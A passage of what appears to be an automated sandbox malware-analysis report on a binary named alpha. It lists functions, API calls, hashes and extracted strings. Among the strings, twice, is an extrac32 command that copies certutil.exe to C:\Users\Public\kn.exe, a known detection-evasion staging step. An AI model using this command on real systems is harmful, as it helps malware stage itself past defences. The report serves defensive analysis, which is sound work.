                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: longjmp
                                                    • String ID: == $EQU $FOR$FOR /?$GEQ $GTR $IF /?$LEQ $LSS $NEQ $REM /?
                                                    • API String ID: 1832741078-366822981
                                                    • Opcode ID: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
                                                    • Instruction ID: 00391cbb0a61ed974f5f59b37040c591b67da0ff5720bb55aecad6bbfeb39741
                                                    • Opcode Fuzzy Hash: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
                                                    • Instruction Fuzzy Hash: 65C18D24F0C68281E7A8DBEED5846BC2791AB56B84F905036DF1DDB6B2CF6CE54583C0
                                                    Function 00007FF6BF3DB998 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 275COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3DCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDA6
                                                      • Part of subcall function 00007FF6BF3DCD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDBD
                                                    • memset.MSVCRT ref: 00007FF6BF3DBA2B
                                                    • wcschr.MSVCRT ref: 00007FF6BF3DBA8A
                                                    • wcschr.MSVCRT ref: 00007FF6BF3DBAAA
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heapwcschr$AllocProcessmemset
                                                    • String ID: -$:.\$=,;$=,;+/[] "
                                                    • API String ID: 2872855111-969133440
                                                    • Opcode ID: 7b3217b0480b3f12f234bd17b6b4b81bb5ac0aea220cc5327607834eba670ac4
                                                    • Instruction ID: 2a377ba6aa8a7248e20a1f7955e6d30afcc939cda289a781501c0cf963163928
                                                    • Opcode Fuzzy Hash: 7b3217b0480b3f12f234bd17b6b4b81bb5ac0aea220cc5327607834eba670ac4
                                                    • Instruction Fuzzy Hash: CDB1A229A4DA8281EA648B99908427D77A0FF58B84F854235CF5ECB7F4DF7CE845C390
                                                    Function 00007FF6BF3DFC30 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 311memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: longjmp$Heap$AllocByteCharMultiProcessWidememmovememset
                                                    • String ID: 0123456789$extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                    • API String ID: 1606811317-2340392073
                                                    • Opcode ID: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
                                                    • Instruction ID: 667c3d18ce2f049bba73746646cdff2bca3b662a36cc4925b27d0c6c96a2eb5c
                                                    • Opcode Fuzzy Hash: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
                                                    • Instruction Fuzzy Hash: BBD1A235E18A5281EA109BADA8402B97BA0FF85794F884132DF5D8B7F5DF3CE915C780
                                                    Function 00007FF6BF4003AC Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 219COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$ErrorLast$InformationVolume
                                                    • String ID: %04X-%04X$~
                                                    • API String ID: 2748242238-2468825380
                                                    • Opcode ID: 6140927c712726b5ce6b5c6052370d277af7610c6653376c5bf883b173b19ee6
                                                    • Instruction ID: 27e3f3cacde45d706ad96c03af2b81fcd7e3ec3134347665c41b4ba243e6a520
                                                    • Opcode Fuzzy Hash: 6140927c712726b5ce6b5c6052370d277af7610c6653376c5bf883b173b19ee6
                                                    • Instruction Fuzzy Hash: 96A19C32708BC28AEB658F7898502E977A1FB85784F448035EB4D8BBA9DF7CD6458700
                                                    Function 00007FF6BF3E662C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 170COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • wcschr.MSVCRT(?,?,?,?,?,?,?,00007FF6BF3E6570,?,?,?,?,?,?,00000000,00007FF6BF3E6488), ref: 00007FF6BF3E6677
                                                    • iswdigit.MSVCRT(?,?,?,?,?,?,?,00007FF6BF3E6570,?,?,?,?,?,?,00000000,00007FF6BF3E6488), ref: 00007FF6BF3E668F
                                                    • _errno.MSVCRT ref: 00007FF6BF3E66A3
                                                    • wcstol.MSVCRT ref: 00007FF6BF3E66C4
                                                    • iswdigit.MSVCRT(?,?,?,?,?,?,?,00007FF6BF3E6570,?,?,?,?,?,?,00000000,00007FF6BF3E6488), ref: 00007FF6BF3E66E4
                                                    • iswalpha.MSVCRT(?,?,?,?,?,?,?,00007FF6BF3E6570,?,?,?,?,?,?,00000000,00007FF6BF3E6488), ref: 00007FF6BF3E66FE
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: iswdigit$_errnoiswalphawcschrwcstol
                                                    • String ID: +-~!$APerformUnaryOperation: '%c'
                                                    • API String ID: 2348642995-441775793
                                                    • Opcode ID: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
                                                    • Instruction ID: df7de598c86ad6a1aa1b442fd9717647cbcb66d35b8fa620a845fea9bd27f50d
                                                    • Opcode Fuzzy Hash: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
                                                    • Instruction Fuzzy Hash: 5B71AD76D28A46C2E7605F69D42017D77A0FF49F84F54C031DB4E8A2A5EF7CA890C7A0
                                                    Function 00007FF6BF3D9400 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 161COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$ErrorInformationLastVolume_wcsicmptowupper
                                                    • String ID: FAT$~
                                                    • API String ID: 2238823677-1832570214
                                                    • Opcode ID: 31d5b5f442e73b16389405a1f8f1aa1cf1f987a59b4b054618f08dfe6adbd7a2
                                                    • Instruction ID: d00663d60af5c32fca19ae0e11e9fd829f9cef9478599592917ad6987e26e997
                                                    • Opcode Fuzzy Hash: 31d5b5f442e73b16389405a1f8f1aa1cf1f987a59b4b054618f08dfe6adbd7a2
                                                    • Instruction Fuzzy Hash: D8718C32609BC18AEB218F68D8502E97BA0FB85789F448035DB4D8BB69DF3CD649C740
                                                    Function 00007FF6BF3DD840 Relevance: 18.4, APIs: 12, Instructions: 444memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF6BF3DFE2A), ref: 00007FF6BF3DD884
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF6BF3DFE2A), ref: 00007FF6BF3DD89D
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF6BF3DFE2A), ref: 00007FF6BF3DD94D
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF6BF3DFE2A), ref: 00007FF6BF3DD964
                                                    • _wcsnicmp.MSVCRT ref: 00007FF6BF3DDB89
                                                    • wcstol.MSVCRT ref: 00007FF6BF3DDBDF
                                                    • wcstol.MSVCRT ref: 00007FF6BF3DDC63
                                                    • memmove.MSVCRT ref: 00007FF6BF3DDD33
                                                    • memmove.MSVCRT ref: 00007FF6BF3DDE9A
                                                    • longjmp.MSVCRT(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF6BF3DFE2A), ref: 00007FF6BF3DDF1F
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcessmemmovewcstol$_wcsnicmplongjmp
                                                    • String ID:
                                                    • API String ID: 1051989028-0
                                                    • Opcode ID: 64565f03666b4bb772596797247e6bb6fdde89d50adaa5f7e3853eb5f84ddd48
                                                    • Instruction ID: cbdb2fe9871e74b837736c2433d608adedd29d94fa5e209750ce8ec31bde5687
                                                    • Opcode Fuzzy Hash: 64565f03666b4bb772596797247e6bb6fdde89d50adaa5f7e3853eb5f84ddd48
                                                    • Instruction Fuzzy Hash: A302B17AA4D74281EB249F98E40027A77A5FB84BD4F548231DB8E8B7A4DF7CE451C780
                                                    Function 00007FF6BF3D86B0 Relevance: 18.1, APIs: 8, Strings: 4, Instructions: 138memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$_wcsicmp$AllocProcess
                                                    • String ID: DISABLEDELAYEDEXPANSION$DISABLEEXTENSIONS$ENABLEDELAYEDEXPANSION$ENABLEEXTENSIONS
                                                    • API String ID: 3223794493-3086019870
                                                    • Opcode ID: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
                                                    • Instruction ID: e706a61979e6dbd2d34a3627285a9d8b5ed5b1e420180bdb3d16f29ada6a1613
                                                    • Opcode Fuzzy Hash: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
                                                    • Instruction Fuzzy Hash: 3F51D335A09B4286EB148BADE8001797BA0FF59B90F589135CB1E8B3B2DF3CE451C390
                                                    Function 00007FF6BF3E2B94 Relevance: 18.1, APIs: 6, Strings: 6, Instructions: 110COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: EQU$GEQ$GTR$LEQ$LSS$NEQ
                                                    • API String ID: 0-3124875276
                                                    • Opcode ID: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
                                                    • Instruction ID: 6a3ad400c7805a115edb60c5f446e634aaac4106bc6db715328eddd2b20bdbc5
                                                    • Opcode Fuzzy Hash: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
                                                    • Instruction Fuzzy Hash: DC519E30E1C64385FB149FA8E4442B93BA1AF59B85F404034DB5ECAAB6DF7CE84597B0
                                                    Function 00007FF6BF3FBFEC Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 444COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E58E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF6BF3FC6DB), ref: 00007FF6BF3E58EF
                                                      • Part of subcall function 00007FF6BF3E081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6BF3E084E
                                                    • towupper.MSVCRT ref: 00007FF6BF3FC1C9
                                                    • GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3FC31C
                                                    • LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF6BF3FC5CB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CriticalDriveEnterEnvironmentFreeLocalSectionTypeVariabletowupper
                                                    • String ID: %s $%s>$PROMPT$Unknown$\$extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe $x
                                                    • API String ID: 2242554020-619615743
                                                    • Opcode ID: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
                                                    • Instruction ID: 415a81e0ee0441b778bf94b1d0ae451445011530fd59ff3d3672f01178cbf176
                                                    • Opcode Fuzzy Hash: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
                                                    • Instruction Fuzzy Hash: ED12F521A5C64281EAA49BADA40017A67A0FF44BE4F580336DB5ECB7F1DF3DE641D780
                                                    Function 00007FF6BF3E6FB4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 148COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • memset.MSVCRT ref: 00007FF6BF3E7013
                                                    • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6BF3E7123
                                                      • Part of subcall function 00007FF6BF3E1EA0: wcschr.MSVCRT(?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF6BF400D54), ref: 00007FF6BF3E1EB3
                                                    • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E706E
                                                    • wcsncmp.MSVCRT ref: 00007FF6BF3E70A5
                                                    • wcsstr.MSVCRT ref: 00007FF6BF3EF9DB
                                                    • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3EFA00
                                                    • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3EFA5F
                                                      • Part of subcall function 00007FF6BF3E823C: FindFirstFileExW.KERNELBASE ref: 00007FF6BF3E8280
                                                      • Part of subcall function 00007FF6BF3E823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6BF3E829D
                                                      • Part of subcall function 00007FF6BF3E3A0C: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF6BF3FEAC5,?,?,?,00007FF6BF3FE925,?,?,?,?,00007FF6BF3DB9B1), ref: 00007FF6BF3E3A56
                                                    • GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3EFA3D
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File$AttributesFindmemset$CloseDriveErrorFirstFullLastNamePathTypewcschrwcsncmpwcsstr
                                                    • String ID: \\.\
                                                    • API String ID: 799470305-2900601889
                                                    • Opcode ID: 7ea5b237473074eb8a3c93ab886d3958f76363502f2a90bc42476f967ba8e34b
                                                    • Instruction ID: c2859d27f9c71018ee72b69fffb9ef9305a80bc32c36c79454d8ee949daddcb0
                                                    • Opcode Fuzzy Hash: 7ea5b237473074eb8a3c93ab886d3958f76363502f2a90bc42476f967ba8e34b
                                                    • Instruction Fuzzy Hash: 7651C432A18B82C5EB608F69E8002B977A0FF89B84F494535DB5E8F7A4DF3CD9458750
                                                    Function 00007FF6BF3D8B20 Relevance: 16.8, APIs: 11, Instructions: 254COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsicmpwcschr$AttributesErrorFileLastwcsrchr
                                                    • String ID:
                                                    • API String ID: 1944892715-0
                                                    • Opcode ID: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
                                                    • Instruction ID: 2a6df9e8a3be526d73dc3e90dff3f8534385c8e7ddd0f33b814ec1b2e6b1d8cf
                                                    • Opcode Fuzzy Hash: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
                                                    • Instruction Fuzzy Hash: CDB18B75A4964286EA609FADA850179B7A0FF59B80F448435CB4ECB3F2DF7CF8448790
                                                    Function 00007FF6BF3D5458 Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E3578: _get_osfhandle.MSVCRT ref: 00007FF6BF3E3584
                                                      • Part of subcall function 00007FF6BF3E3578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E359C
                                                      • Part of subcall function 00007FF6BF3E3578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35C3
                                                      • Part of subcall function 00007FF6BF3E3578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35D9
                                                      • Part of subcall function 00007FF6BF3E3578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35ED
                                                      • Part of subcall function 00007FF6BF3E3578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E3602
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3D54DE
                                                    • WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(?,?,00007FF6BF3D1F7D), ref: 00007FF6BF3D552B
                                                    • WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00007FF6BF3D1F7D), ref: 00007FF6BF3D554F
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3F345F
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF6BF3D1F7D), ref: 00007FF6BF3F347E
                                                    • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF6BF3D1F7D), ref: 00007FF6BF3F34C3
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3F34DB
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF6BF3D1F7D), ref: 00007FF6BF3F34FA
                                                      • Part of subcall function 00007FF6BF3E36EC: _get_osfhandle.MSVCRT ref: 00007FF6BF3E3715
                                                      • Part of subcall function 00007FF6BF3E36EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF6BF3E3770
                                                      • Part of subcall function 00007FF6BF3E36EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E3791
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
